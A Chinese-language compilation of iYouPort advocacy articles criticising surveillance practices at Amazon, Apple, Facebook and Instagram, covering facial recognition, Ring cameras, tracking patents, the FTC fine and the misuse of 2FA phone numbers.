在一份在线请愿书中，数字权利组织 “为未来而战” 警告说：“现在我们的每个社区、购物中心和十字路口都有亚马逊漫游的眼睛”。请愿书指出：

[亚马逊**]** 正在监视每个人—— 包括你的孩子。除了数以百万计的 **Ring** 门铃摄像头、泛光灯摄像头和邮箱摄像头，亚马逊将拥有完美的全景摄像头，这些监视网络一起扫荡前所未有的数据量。亚马逊已经与执法部门建立了**2000**多个合作关系，而且他们似乎超有可能开始以分享 **Ring** 摄像头的方式与警察和间谍共享车辆的录像—— 让警察获得车牌、生物识别数据，并使他们能够使用面部识别技术来追踪任何人在街区和城市的行动。

“为未来而战” 是对的。此后很快，亚马逊的 Ring 门铃就被证明帮助警察抓捕BLM抗议者，在这里看到EFF的报告《New EFF Report

Shows Cops Used Ring Cameras to Monitor Black Lives Matter Protests》。

“除了助长警方监控国家的扩张，这意味着即使你不使用亚马逊，你也会进入他们的系统，被监控，被盯上”，请愿书警告人们。

“为未来而战” 副主任 Evan Greer 在一份声明中表示，“这相当于人类历史上最大规模的企业监控扩张”。

Greer 说，亚马逊的监视摄像头将 “侵犯每个人的基本权利，因为它不断收集和分析我们的邻居、我们的家庭、和我们的孩子的所有录像”，她说，这些数据 “可以而且肯定” 会与与执法部门共享，包括美国移民和海关执法局（ICE）。

Greer 说：“基本上没有任何法律能限制亚马逊可以将这些庞大的视频录像用于什么样的商业目的”。

这个 “监视帝国” 包括 Rekognition，这是一种基于云计算的软件即服务（SaaS）面部识别技术，出售给警察和包括ICE在内的政府机构。去年6月，亚马逊因担心算法偏差，宣布暂停警方使用 Rekognition 一年。

监视帝国不仅仅限于美国国内。

2月5日，fastcompany 报道：政府的面部识别正在迅速成为专制主义的定义技术，使对政治运动和宗教及少数民族的大规模监控自动化。在中国，面部识别技术帮助监禁了100多万维吾尔人；在美国，同样的技术正在使数不清的美国人被错误逮捕的情况自动化。但硅谷企业不仅在国内销售监控技术，还在全世界兜售。

民间社会团体都在谴责亚马逊向专制政权出售其监视技术。但不仅仅是财富500强企业在做这种事。有争议的面部识别初创公司 Clearview AI 因向**27**个国家的**2200**个执法机构出售监视技术而受到广泛谴责，同时该公司还积极在欧洲、南美、亚太和中东地区进行营销。

纽约公民权利组织负责人 Albert Fox Cahn 在 fastcompany 的文章中指出：“当我们刻画后特朗普时代的国家身份时，不能忽视我们自己的公司和警察如何从大规模监控技术中获利并进行宣传。我们不能声称自己是世界的灯塔，却把自己公民的脸变成警察的灯塔。我们不能在警察仍然使用种族主义技术逮捕非白人公民时，就把曾经政府的罪

孽抛之脑后。”

“今天，面部识别使数百万美国人面临因肤色而被错误逮捕的风险。它给了警察不受限制的权力，以追踪每个公民的政治和宗教信仰。它扼杀了我们第一修正案的定义价值和自由，破坏了我们的民主本身。”

fastcompany 说，美国科技公司一直以来都是这种奥威尔式工具的主要推广者。2019年确实有100多个中国城市购买了面部识别系统。而面部识别技术在北美已经是一项价值10亿美元的业务，其中美国占了绝大部分份额。而来自 Grand View Research 的预测显示，面部识别每年都会继续扩大，到2027年几乎翻倍。

因此你已经看到人脸搜查的数量是惊人的。以纽约为例，纽约警察的面部识别率一直在逐年增加。在过去三年中，这导致了超过22000次搜查，而在2019年期间就有9850次。而这些数字还不包括纽约警察在私人面部识别平台上未经授权的1.1万多次搜查。

而面部识别的危险并不只限于警察。越来越多的公司，尤其是像 Rite Aid 这样的连锁零售商，都采用了私人面部识别系统。但这些系统与刑事司法系统有着天生的联系，助长了从监控到监狱的直接通道。

商店并不是利用面部识别来奖励顾客的忠诚度 —— 他们利用该系统自动向警方报警。让当地超市使用面部识别，可能感觉比警察更“无害”，但结果往往是一样的：社会边缘人因为有偏见的面部识别算法而更多被捕。

但反抗始终是积极的，尤其是，美国反抗者擅长跨国联合，在这种全球性问题下，也只有跨国联合才能真正起效。

大赦国际与纽约当地的活动家合作，推出了一项名为“禁止扫描”的全球反面部识别运动，就是一个例子。与新德里和蒙古乌兰巴托的一批反抗者合作，美国活动家可以将国际压力带到这些当地的政治斗争中。

这种团结非常重要，Cahn 呼吁拜登和他的政府也这样做，与当地的活动家一起为面部识别禁令和其他警务改革而斗争。他说：“这种领导力有助于向世界表明美国在全球人权话语中真正的地位，而不仅仅是重复过去的虚伪”。〇

The U.S. can’t rebuke global tyranny when our companies sell tools

that enable it

Warnings of Growing ‘Surveillance Empire’ as AI Van Cameras Give Amazon ‘Roaming Eyes in Every Neighborhood’

原文

纽约公民权利组织：美国公司正在向世界各地输出面部识别，并从其在国内的使用中获利 - iYouPort

关于亚马逊、苹果、推特协助暴政的家伙们

美国反抗者擅长跨国联合，在这种全球性问题下，也只有跨国联合才能真正起效

「图」

「图」

一位主要的数字权利倡导者称其为“人类历史上最大规模的企业监控扩张”—— 今年初，亚马逊已经开始在其合作伙伴的一些送货车辆中安装配备人工智能的监视摄像头，在司机工作时对其进行持续监控，此举引起了人们对隐私和寡头权力的更广泛关注。

CNBC报道称，亚马逊的人工智能驱动的四镜头摄像头，即 Driveri，已经于今年1月底进行测试。这些监视摄像头由总部位于圣地亚哥的初创公司 Netradyne 制造，在货车运行时**100%**记录一切。它们不仅能监视和记录司机，还能监视和记录道路和车辆周围发生的所有事。

「图」

「图」

https://twitter.com/evan_greer/status/1357122709403164680

许多司机、工会和隐私倡导者，都对这种侵入性技术表示震惊。

在一份在线请愿书中，数字权利组织“为未来而战”警告说：“现在我们的每个社区、购物中心和十字路口都有亚马逊漫游的眼睛”。请愿书指出：

[亚马逊] 正在监视每个人—— 包括你的孩子。除了数以百万计的

Ring 门铃摄像头、泛光灯摄像头和邮箱摄像头，亚马逊将拥有完美的全景摄像头，这些监视网络一起扫荡前所未有的数据量。亚马逊已经与执法部门建立了**2000**多个合作关系，而且他们似乎超有可能开始以分享 **Ring** 摄像头的方式与警察和间谍共享车辆的录像—— 让警察获得车牌、生物识别数据，并使他们能够使用面部识别技术来追踪任何人在街区和城市的行动。

“为未来而战” 是对的。此后很快，亚马逊的 Ring 门铃就被证明帮助警察抓捕BLM抗议者，在这里看到EFF的报告《New EFF Report Shows Cops Used Ring Cameras to Monitor Black Lives Matter Protests》。

“除了助长警方监控国家的扩张，这意味着即使你不使用亚马逊，你也会进入他们的系统，被监控，被盯上”，请愿书警告人们。

「图」

「图」

“为未来而战” 副主任 Evan Greer 在一份声明中表示，“这相当于人类历史上最大规模的企业监控扩张”。

Greer 说，亚马逊的监视摄像头将 “侵犯每个人的基本权利，因为它不断收集和分析我们的邻居、我们的家庭、和我们的孩子的所有录像”，她说，这些数据 “可以而且肯定” 会与与执法部门共享，包括美国移民和海关执法局（ICE）。

Greer 说：“基本上没有任何法律能限制亚马逊可以将这些庞大的视频录像用于什么样的商业目的”。

这个 “监视帝国” 包括 Rekognition，这是一种基于云计算的软件即服务（SaaS）面部识别技术，出售给警察和包括ICE在内的政府机构。去年6月，亚马逊因担心算法偏差，宣布暂停警方使用 Rekognition 一年。

监视帝国不仅仅限于美国国内。

2月5日，fastcompany 报道：政府的面部识别正在迅速成为专制主义的定义技术，使对政治运动和宗教及少数民族的大规模监控自动化。在中国，面部识别技术帮助监禁了100多万维吾尔人；在美国，同样的技术正在使数不清的美国人被错误逮捕的情况自动化。但硅谷企业不仅在国内销售监控技术，还在全世界兜售。

民间社会团体都在谴责亚马逊向专制政权出售其监视技术。但不仅仅是财富500强企业在做这种事。有争议的面部识别初创公司 Clearview AI 因向27个国家的2200个执法机构出售监视技术而受到广泛谴责，同时该公司还积极在欧洲、南美、亚太和中东地区进行营销。

纽约公民权利组织负责人 Albert Fox Cahn 在 fastcompany 的文章中指出："当我们刻画后特朗普时代的国家身份时，不能忽视我们自己的公司和警察如何从大规模监控技术中获利并进行宣传。我们不能声称自己是世界的灯塔，却把自己公民的脸变成警察的灯塔。我们不能在警察仍然使用种族主义技术逮捕非白人公民时，就把曾经政府的罪孽抛之脑后。"

"今天，面部识别使数百万美国人面临因肤色而被错误逮捕的风险。它给了警察不受限制的权力，以追踪每个公民的政治和宗教信仰。它扼杀了我们第一修正案的定义价值和自由，破坏了我们的民主本身。"

fastcompany 说，美国科技公司一直以来都是这种奥威尔式工具的"主要推广者"。2019年确实有100多个中国城市购买了面部识别系统。而面部识别技术在北美已经是一项价值10亿美元的业务，其中美国占了绝大部分份额。而来自 Grand View Research 的预测显示，面部识别每年都会继续扩大，到2027年几乎翻倍。

因此你已经看到人脸搜查的数量是惊人的。以纽约为例，纽约警察的面部识别率一直在逐年增加。在过去三年中，这导致了超过22000次搜查，而在2019年期间就有9850次。而这些数字还不包括纽约警察在私人面部识别平台上未经授权的1.1万多次搜查。

而面部识别的危险并不只限于警察。越来越多的公司，尤其是像 Rite Aid 这样的连锁零售商，都采用了私人面部识别系统。但这些系统与刑事司法系统有着天生的联系，助长了从监控到监狱的直接通道。

商店并不是利用面部识别来奖励顾客的忠诚度 —— 他们利用该系统自动向警方报警。让当地超市使用面部识别，可能感觉比警察更"无害"，但结果往往是一样的：社会边缘人因为有偏见的面部识别算法而更多被捕。

但反抗始终是积极的，尤其是，美国反抗者擅长跨国联合，在这种全球性问题下，也只有跨国联合才能真正起效。

大赦国际与纽约当地的活动家合作，推出了一项名为“禁止扫描”的全球反面部识别运动，就是一个例子。与新德里和蒙古乌兰巴托的一批反抗者合作，美国活动家可以将国际压力带到这些当地的政治斗争中。

这种团结非常重要，Cahn 呼吁拜登和他的政府也这样做，与当地的活动家一起为面部识别禁令和其他警务改革而斗争。他说：“这种领导力有助于向世界表明美国在全球人权话语中真正的地位，而不仅仅是重复过去的虚伪”。〇

The U.S. can’t rebuke global tyranny when our companies sell tools that enable it

Warnings of Growing ‘Surveillance Empire’ as AI Van Cameras Give Amazon ‘Roaming Eyes in Every Neighborhood’

原文

苹果究竟是在保护你的数据，还是垄断你的数据？ - iYouPort

关于亚马逊、苹果、推特

您只需要记住这点，所有监视资本家都是一样的东西

「图」

「图」

多年来，苹果公司围绕用户隐私这一话题发表了许多大胆的言论。2014年，在智能手机设备风靡全球之际，该公司CEO蒂姆·库克在一封致客户的公开信中强调了其对用户隐私的负责任的态度，在信中他还提到了一句民间反监视资本主义斗争中经常被使用的名言：“如果产品是免费的，你就是产品”。（顺便说，这句话是错误的，你不是什么“产品”，《你只是被遗弃的尸体》。）

去年，这家平时此前从不参加拉斯维加斯大型科技活动CES的公司，在展会上以“发生在你的iPhone上的事，就留在你的iPhone上”的巨幅广告来提醒与会者对“隐私”的重视。

- 为什么说苹果是骗子，《声称“给你隐私”但不给你自由：看Apple 如何把玩文字游戏》
- 尤其是，《以隐私为目的的斗争如何让你变成了监视的盟友》

今年，当库克在该公司首次的在线WWDC上宣布 iOS 14 时，他又宣布了一个关于苹果对“隐私”的奉献的大新闻。苹果宣布了新的iOS应用追踪透明框架，要求所有应用都必须向用户详细解释其追踪方法，并要求选择加入权限以访问和收集用户数据。

此举被很多人认为是“突破性的”，对于移动广告主和应用归因业务来说，也是梦碎的，这个行业在未来几年内的全球支出预计将达到1180亿美元 —— 这个数字只是监视资本主义利润空间的冰山一角。

【注：广告业界中常用到的SDK 是为了“追踪(流量/广告)成效”这个

目的而存在，也被称为归因(attribution)。归因模式(attribution model) 指的是针对用户从初次接触广告到最后完成动作中与广告的每一次互动给予评价的模式。关于监视资本家如何通过这点赚钱，推荐这份说明，很重要！：《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》】

由于可以预见的是，只要有适当的信息和选择，许多用户将拒绝提供访问个人私密信息的权限，这将改变应用程序根据用户行为和提供相关的有针对性的广告来获利的能力。但是，这将如何影响 iPhone 用户、广告商、和苹果本身?

当然，自从首次宣布这一重大变化以来，苹果已经推迟了应用跟踪透明度框架的发布，以给开发者更多的时间来准备。对于一些人来说，这种准备包括发起反对这一戏剧性步骤的公开运动，而另一些人则选择了一条更实际的道路。

公司可能会使用苹果的API来衡量他们的活动表现，而不需要征得同意；他们也可能会通过加强应用内购买和支付苹果的**30%**费用来实现应用的货币化，这又足够让人怀疑苹果的利益是否纯洁。

另一种选择是创建一个更引人注目的文本弹窗，可能会或不会让用户与应用分享他们的信息。最后一种方法是网站使用的，它们试图让网民移除广告拦截器，而不断上升的广告拦截使用比例表明，这些策略并不真正有效。

「图」

「图」

下载调查报告：https://t.me/iyouport/8181

数据隐私的革命并没有到来

定向广告不只是广告这么简单，它必须通过密切地监视您的一举一动才能实现“定向”，而定向的结果肯定不只是广告，而是操纵 —— 分析您最容易中招的弱点，然后针对性下手。这就是为什么剑桥分析公司那种产业如今遍布全球。

很多媒体宣称苹果公司对用户的在线隐私的积极发展是令人兴奋的，但是您应该知道，iOS 14 并不完全是我们一直在等待的救世主。这就是为什么:

1、“同意” 不等于所有权。

请求许可也许是解决方案的一个重要部分, 就像GDPR的思考方式那样，但是，它仍然远远不能解决问题。想想Cookie的政策变化，您是否觉得自己现在真的知道他们在收集您的信息，还是您只是去点击“同意” 以便可以访问那个网站？一旦用户给了应用程序访问权，他们的数据会发生什么？卖给第三方后又会怎样？用户是否知道自己的数据究竟会发生什么？用户能否在任何时候轻松地进行调整和撤销同意？在苹果的世界里，有没有一种 “被遗忘权” 可以强制执行以删除被收集到的数据？…… 这些关键性的问题目前仍然没有答案。

我们还应该记住，许多应用程序的用户往往太年轻，无法理解这种同意的真正含义。毕竟，72%的孩子使用移动设备，他们可能并不了解隐私问题及其后果。孩子们也更容易被说服，可能更容易相信那些围绕苹果所谓的隐私政策提供误导性信息的应用。

2、苹果可能正在垄断用户数据。

该公司的新政策切断了第三方和用户信息之间的直接联系，*让苹果*拥有了更多的控制权，而不是让我们。

这意味着苹果将阻止广告技术行业收集数据的行为，然而，该公司向广告商提供的苹果制造的解决方案和替代品的事实是有问题的。这表明苹果自己仍然可以获得我们所有人的所有信息，并垄断了这种数据的控制权。目前仍不清楚苹果是否会在通过该公司拥有的 SKAdNetwork API 访问用户数据之前，告知用户或征求用户的同意。

苹果在2016年正式停止了iAd，但该公司仍在运营苹果新闻和苹果搜索广告等 AdTech 服务。这可能是该公司进入利润丰厚的移动营销行业的另一种方式，将用户的数据暴露给完全未经保护的使用。

尽管苹果的新框架带来了不确定性，但该公司的这一举措是朝着正确的方向迈出的一步。 但是，用户真正需要的是一种解决方案，可以收回对自己的数据的控制权，并对其进行持续的独立管理。用户应该能够迅速弄清楚哪些应用程序访问了哪些类型的个人信息，他们是如何使用这些信息的，那些应用是否会出售这些信息，等等。用户还应该有工具可以随时关闭任何应用程序对其数据的访问，不需要被问任何问题。

您可以祝贺苹果的这一大胆举动，让人们可以只对那些提供相关价值

的负责任的应用程序给予同意，并使用外部解决方案独立管理我们自己的数据。只是不要忘了，所有监视资本家都是一样的东西。〇

Is Apple Protecting Our Data, or Monopolizing It?

原文

装本地人已经失败 ⚠ 亚马逊的口音识别技术可以告诉政府你的祖籍在哪 - iYouPort

关于亚马逊、苹果、推特

10月初亚马逊悄然发布了一项专利，允许其虚拟助手Alexa根据人们的声音破译用户的身体特征和情绪状态。语音重音判断种族起源、情感、性别、年龄和背景噪音等特征，这些特征将立即被提取并标记到用户的数据文件中。

该算法还会根据客户的IP地址，主要送货地址和浏览器设置来考虑客户的物理位置，以帮助现实中的定位。专家表示，如果亚马逊的专利成为现实，或者技术已经有可能进行重音检测，那么就会引入更为严重的监视和侵犯隐私问题，以及歧视性威胁。

与面部识别一样，这种语音分析技术再次强调了现有的法律和隐私保护措施根本无法保护用户免受新类别数据收集—尤其是政府间谍活动的影响。与面部识别不同，语音分析不依赖于公共场所的摄像头，而是依赖于你家里的智能扬声器内的麦克风。

原文

这里是亚马逊的 big brother 技术，你应该能感受到它的可怕 - iYouPort

关于亚马逊、苹果、推特无处不在，无处可逃-所谓的“智能”是什么

位于华盛顿州西雅图的电子商务公司 Amazon.com 是美国零售业巨头。2016 年，亚马逊的电子商务平台占当年全国在线零售总额的 43%。根据在线统计门户 Statista 的数据，2017 年，亚马逊在美国的电子商务净销售额达到 1780 亿美元。四月中旬，亚马逊首席执行官贝佐斯在年度致股东信中宣布，该公司的 Prime 会员服务已超过1亿全球用户。

是全球，请注意，不仅仅是美国。这些跨国巨头的长臂祸害的可不止一两个国家。

它已经发育得太大了，难怪这家科技巨头能够获得大量不考虑自己私人数据安全的用户。

尽管大多数实体零售商只能获得信用卡信息，或者通过消费者忠诚度计划获取一些个人信息，但对亚马逊隐私政策的分析表明，该公司收集的数据包括：收货人、客户 IP 地址、用户个人资料中的个人信息甚至客户的朋友的电子邮件地址等等。亚马逊以各种方式利用这些数据来增加平台的价值，包括产品推荐以及供应链和产品价格的优化。但只有这些吗？绝对不是。

剑桥分析公司丑闻后，数据隐私问题一直处于最前沿位置，看起来亚马逊在对其平台上的消费者数据安全性方面并不完全清晰。最近的报告显示，亚马逊的 Mechanical Turk 在线市场是由 Facebook 丑闻背后的剑桥分析公司应用程序开发商 Aleksandr Kogan 开发的数据收集检测应用程序的另一个使用平台。数据隐私问题也出现在亚马逊网络云服务平台周围，包括私人公司和五角大楼在内的老大哥们在亚马逊云服务上存储网络监控数据。

亚马逊服务器还使用其 Alexa 数字个人助理服务收集消费者的语音录音，除非消费者手动删除录音，否则这些录音很有可能落入坏人手中。

使用 IP 地址查明用户的地理位置

亚马逊开发了一种技术手段来跟踪消费者的实际位置，是美国专利号 7937336 所公开的：标题为 Predicting Geographic Location Associated with Network Address。2011 年5月发布。

它涵盖一个计算机系统，该系统包含一个数据存储器，该存储器包含一个决策树，该决策树被构建为产生与用户相关的 IP 地址的预测地理位置以及计算装置，其获得包括 IP 地址和用户简档信息的第一组样本数据；用第一组样本数据训练决策树；获得包括与 IP 地址相关的地理位置信息的第二组样本数据；用第二组数据修剪训练过的决策树；然后用第三组样本数据来限定决策树，以向每个叶节点分配一个置信度分数指示预测的地理位置的准确度。

根据该专利所释，这项发明中的决策树是通过机器学习构建的，以确定预测属性，允许网络服务针对一组潜在用户进行各种活动。但是，消费者应该知道，该技术使亚马逊能够确定“身份未被网络服务识别的潜在用户的用户属性”，包括与用户设备的地理位置相关的属性、网络服务提供商（ISP）信息、甚至与地理位置相关的家庭收入状况。

如果这些数据落在警方手里，你知道会发生什么。亚马逊等这些巨头一直在和情报机构合作，这是 Snowden 所揭露的所有关键信息之一。帮执法者和税务官员确认比特币用户的位置

比特币等加密货币的卖点之一就是数字货币提供的匿名性，但是由于美国专利号 9947033 所描述的名为 Streaming Data Marketplace 的技术，在亚马逊的平台上，你完全无法保证匿名性！

该技术在今年 4 月份发布，它声称一种被配置为便于组织流式传输数据的计算设备，该设备具有一个处理器；与处理器电子通信的存储器；存储在存储器中的指令可执行以经由流传输数据服务的第一来源请求的第一数据流；确定从第一数据流接收的数据量；接收来自数据流的数据；通过流传输数据服务识别来自包括不同类型数据的第二来源流传输数据；关联和组合数据流以增加第一数据流的效用；并将组合数据作为组合数据流发布到流数据服务。

该发明旨在使流式分析服务能够开发用于处理每小时数百 TB 数据的业务应用，包括网站点击流、社交媒体和操作日志。然而，该专利还描述了这种技术的示例性使用，涉及运输地址与比特币交易的相关性，政府机构可以使用它来“关联税收交易数据以帮助识别交易参与

者”。它还考虑到了使用该技术的执法机构能将全球比特币交易与送货地址相关联！

再次提醒：是全球。它毁掉了比特币最大的价值。使用移动设备数据预测消费者的未来位置

你在到达某一地点之前亚马逊就知道你要去哪里了，因为它有个专利：名为“移动用户的预测位置”，美国专利号 9123014，发布于2015年9月。

它涵盖体现可在计算设备中执行的程序的非暂时性计算机可读介质，包括从移动设备用户接收包裹递送服务注册的代码；通知注册的包裹递送服务的代码；接收移动用户的最近位置的更新代码；接收更新到移动用户最近位置的订阅请求的代码；通知用户最近位置的代码；部分基于最近位置生成的用户未来位置预测的代码；以及基于未来移动用户的预测位置来启动递送的代码。

该发明旨在“改进包裹递送并减少当包裹被发送到达某个位置但预期的接收者不在那里时可能发生的延迟”。但你必须知道，在你达到某地之前亚马逊就能知道你要去那里，这件事特别令人感觉不安。

如果你在逃亡路上，或者未来准备逃亡，请千万不要使用包括亚马逊在内的任何一种网络电商或服务。否则基本可以确定，你是逃不掉的。基于生命里程碑的用户购买行为预测

亚马逊利用你的重要生活事件数据来销售产品，正如美国专利号 9369536 中所声称的技术所证明的那样，标题为 Event-Based User Behavior Timeline, Predictions, and Recommendations。

它涵盖由处理器可执行的数据存储中的模块系统，包括确定用户重要生活事件的时间表模块，如生日、假期、住宿变更、孩子出生、教育里程碑或周年纪念；预测模块，基于来自所述时间线模块的关于用户行为预测标准的结构分析，来确定对用户行为的预测，所述用户行为预测标准具有跟随重要生活事件发生的趋势；推荐模块，基于用户行为的预测向用户提供项目推荐。

该项发明利用社交网络活动、用户通信和人口统计数据的情感分析来改进产品推荐，例如当人们改变居住地时向他们提供购买主要电器的建议。然而，大多数亚马逊客户可能不知道该公司为其客户维护活动时间线。

你的生活重要事件就是你的情绪规律，也就是你的弱点。这些数据如果被你的敌人所掌握，他们就可以利用它来操纵你追踪卡路里摄取量和订餐历史，以预测膳食支付

亚马逊还从消费者那里收集外卖和递送订单信息，该技术美国专利号 9898788，标题为 Predictive Restaurant Ordering。

它涵盖包括存储可执行指令的非暂时性计算机可读介质的自动化食品服务订购系统，以获得与一个或多个客户相关联的过去状态上下文数据指示；获得历史菜单项目订购数据；从个人电子设备获得指示用户的当前、最近或既定状态的情境数据，包括卡路里摄取或锻炼活动；基于所获得的数据确定在未来什么时候传送菜单项；从多个食品服务中选择未来最有可能被选中的食品服务；提前确定订单；至少在交付时间内启动未来食品服务订单。

亚马逊甚至在专利中解释为“人们在饥饿的时候才想起下单，但食品会在一段时间后才能到达”……听起来对你有用是吧？是为你着想？并不是，你应该感到惊讶，亚马逊追踪的消费者数据甚至已经延伸到外卖食品订单了，而不仅仅是 Amazon.com 平台上销售的书籍和电子设备。

再次重申本网的一贯警告：如果您在乎自己的隐私，请不要让这些陌生人太过了解你 —— 不要参与任何一种声称的网络测试游戏、不要上传自己的健康监测数据运动数据在互联网上、出门用现金购买所需的东西。否则将导致您在任何时候都有可能被具有预期目的的人所利用。

原文

"删除虚假内容" 仅针对老百姓，政客例外 - iYouPort

关于Facebook-这不只是一家公司

官谣有特权

「图」

「图」

Instagram 正在给政客们自由传播虚假消息的特权，与其母公司 Facebook 一样。

Instagram 从5月开始在美国扩展其有限的事实检查测试，现在将与45个第三方组织合作以评估其应用程序中照片和视频内容的真实性。被评级为 “假” 的材料将从 “浏览” 和 “标签” 页面中隐藏，并显示警告，直到用户再次点击以查看帖子。

这比 Facebook 早期尝试在内容旁边的链接上附加警告的举措迈出了更大的一步，但是仍然允许用户可以立即使用该虚假信息。

「图」

「图」

Instagram 将使用图像匹配技术来查找虚假内容的其他副本，并应用相同的标签，在 Facebook 和 Instagram 内容中均执行此操作。

这可能成为 Facebook 的说辞，因为该公司一直在试图阻止监管机构解散该公司并剥离 Instagram 的意向。

Instagram 试图全面加强其所谓的安全实践。它开始提醒用户，如果即将在照片或视频上发布的标题令人反感或被视为欺凌行为，用户有机会在发布文本之前对其进行编辑。

Instagram 还开始询问新用户的年龄，以确保他们的年龄在13岁或以

上。它曾经在此冒充无知，以躲避《儿童在线隐私保护法》的罚款。

「图」

「图」

但是，其中有人拥有不受事实检查的特权 —— 那就是政治人物群体。

这些政客在 Instagram 上的原始内容（包括政治广告）都不会被进行事实检查，即使这些内容明显地虚假。

这与 Facebook 的政策相吻合，Facebook 的政策遭到包括 TechCrunch 在内的批评家的强烈反对，后者表示，这项政策可以让候选人随意抹黑竞争对手、煽动两极分化、并通过谎言筹集资金。

Instagram 首席执行官 Adam Mosseri 坚持认为，禁止政治广告 “可能会伤害需要提升自己的挑战者候选人，并且很难在政治广告和有问题的广告之间划清界限”。

幸运的是，Instagram 在这方面的危险性较小，因为帖子无法直接链接到政客可以筹集资金的网站。但是，经过验证的用户就可以将链接附加到故事，并且每个人都可以在个人资料中拥有一个链接。

⚠ 这意味着，政客仍然可以在该应用程序上故意将虚假信息武器化，以牺牲真相为代价来进一步深化信息战，却使大众认为可以相信自己在 Instagram 上看到的内容。〇

Instagram hides false content behind warnings, except for politicians

原文

50亿美元的惩罚只能令 Facebook 欣喜若狂 - iYouPort

关于Facebook-这不只是一家公司

当权者并没想真的解决问题；他们是寡头体制中的既得利益者

「图」

「图」

你可能会认为被迫向联邦政府掏出50亿美元以“补偿”各种不当行为对任何人来说都是一个非常糟糕的事？但是，对于 Facebook 来说，截然不同。

周三，该公司高兴地宣布了其获得的这个联邦贸易委员会闪亮的弹脑门儿细节，欣然同意了创纪录的罚款和一些名义上的所谓新隐私报告，但是，没有对其经营方式进行任何有意义的改变。

在一篇回应 FTC 的博客文章中，该公司预示着一个新时代，一个实施“全面的新框架”来保护用户隐私和 Facebook 开展业务的“根本转变”。

Facebook 总法律顾问 Colin Stretch 说，“这将标志着一种更加明显的隐私转向，其规模与我们过去所做的任何规模都不同。”

尽管广泛的批评谴责不断揭露这个世界上最大的社交网络的无耻内幕，但美国联邦贸易委员会却将50亿美元的罚款称为“破纪录”的努力、还说“大大削弱了扎克伯格的权力”，同时“为 Facebook 的隐私增加了前所未有的透明度”……

这都不是真的。

罚款是因 Facebook 违反了2012年与FTC的先前协议条款。

这些违规行为包括剑桥分析公司丑闻，以及 Facebook 的其他邪恶做法，包括使用面部识别技术收集用户的生物识别数据、以及假装双因素身份验证以骗取的用户电话号码进行广告宣传，等等。

在2012年和解协议中，Facebook 同意“[给予]消费者明确和突出的通知”，并在共享用户数据时获得“明确同意”。

好吧你能看到该协议本身就是虚伪的：目前已经众所周知，“知情同意”不能保护数字安全（也许当年还有很多人不了解这点）。

- 延伸《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》

至少当年，该协议是为 Facebook 制定的，“以确保它在未来兑现其承诺。”

并不是 FTC 的每个人都同意这个所谓的和解协议的条款。美国联邦贸易委员会委员的 Rebecca Kelly Slaughter 和 Rohit Chopra 都表示反对，并指出，该交易的具体细节实际上是允许 **Facebook** 基本上自行执行任何新要求。

就如 Chopra 在推文中所说的那样：50亿美元听起来似乎很多，但是其中大部分对 Facebook 来说是值得庆祝的而非惩罚。

> 剑桥分析公司的模式和针对用户的战术只是对 **Facebook** 自身实践的小规模反映。
>
> 值得注意的是，FTC 正在让剑桥分析公司对“个人不当行为”负责。而不是让 Facebook 负责。
>
> 这就是底线：**Facebook** 的公然违规行为是他们大规模监控和操纵业务模式的直接结果，而罚款保护了这一模式的延续。和解并不能解决根本性问题。

“马克扎克伯格、Sheryl Sandberg 和其他 Facebook 高管因其在违规行为中的作用反而获得了全面豁免。

这是错误的、并且开创了一个可怕的先例，Chopra 在一条推文中写道。“法律没有给予他们特殊的豁免。”

法律的确没给他们这份豁免，但掌握法律解释权的政权有可能给了。分析 **Facebook** 的政治旋转门《"深层政治：Facebook金字塔的人形

肌理"》。

Chopra 和其他人提请注意该和解协议宽泛的措辞。

“50亿美元只是 Facebook 年度收入的一小部分，而联邦贸易委员会已经让 Facebook 和其高管豁免了我们所知道的一切违法行为，甚至是潜在的犯罪行为，”参议员 Ron Wyden 说，并称其为“甜心交易”。

Slaughter 表示，虽然 Facebook 的50亿美元罚款是史无前例的，但它仍然无法触及该公司自身前所未有的规模和权力。

“尽管这一解决方案具有历史意义，但如果要我支持它，我必须确信其合并后的条款将有效地阻止 Facebook 未来继续实施违法行为，”Slaughter 写道，她说，“现在我不相信这种情况。”

这笔50亿美元的罚款仅仅是 Facebook 财务路线图的预期内 —— 而且它早已直接写入计划了。在4月份的季度财报电话会议上，**Facebook** 表示将放弃30亿美元以应对预期的罚款。

周三，Facebook 发布了自己的信息图，概述了其松散的新隐私要求，其中许多都是废话。该公司还提供了马克扎克伯格关于该主题的新视频剪辑。

“我们对今天宣布的具有里程碑意义的惩罚和行为补救感到非常自豪”，支持和解的联邦贸易委员会委员在一份公开声明中写道。

对于 **Facebook** 来说，这笔交易完全是一种解脱。惩罚听起来很严厉，对于任何按正常标准规模的企业来说都是如此；但对于 Facebook 来说完全是另一码事。

随着立法者正排队等候该公司降级，而 Facebook 正在采取一种怯懦的表面姿态，实际上它蠢蠢欲动准备进入即将到来的战斗，以及之后的战斗。

FTC 的所谓大交易甚至不是 Facebook 当天唯一的一场战斗。该公司自己的博客中写道：它还同意向证券交易委员会拨款1亿多美元，因为它没有向投资者披露隐私失误。

罚款真的不能解决问题，尤其是对 **Facebook** 这种已经成为全球最大经济体的经济支柱的寡头企业来说，推翻它需要付出再一次政变的努力。

更多《国王们的晚宴—— 这是一场看不见的政变》。

原文

Facebook 以"安全性"为幌子骗取你的手机号码 - iYouPort

关于Facebook-这不只是一家公司

Facebook 再次陷入丑闻困境。很令人惊讶，不是丑闻，而是，人们居然还在使用那种平台。

这次的事件很简单。如果您为 Facebook 提供了自己的电话号码，以便在您的帐户中启用基于短信的双重身份验证（2FA），那么，任何其他人只需搜索您的电话号码即可找到您的个人资料。

双因素身份验证（2FA）是阻止您的在线帐户密码被设法猜测、窃取或劫持的主要方法之一。通常是一个六位数的安全代码，通过短信发送到您的手机，或由智能手机应用程序生成。这个想法是攻击者可能知道你的密码—但他们不知道六位数的安全代码。并且因为安全代码每30秒左右更改一次，即使他们确实拿到了—也可能很难使用。

2FA并不完美，但它肯定会让坏人更难进入你的账户。

但是，Facebook 让任何人只需输入就可以查找特定电话号码的拥有者。尽管用户只是为了增强安全性而给出了电话号码。

几个月前，当研究人员发现 Facebook 允许广告公司通过利用人们提交的仅用于启用 2FA 的电话号码来定位个人广告时，您就应该思考这件事了。

研究人员证实，Facebook 正在使用从其他 Facebook 用户的地址簿收集的“影子联系信息”，并将其与您的帐户相关联。Facebook 隐藏了这样一个事实，即 它已经将备用电子邮件地址和电话号码连接到了您的个人资料。

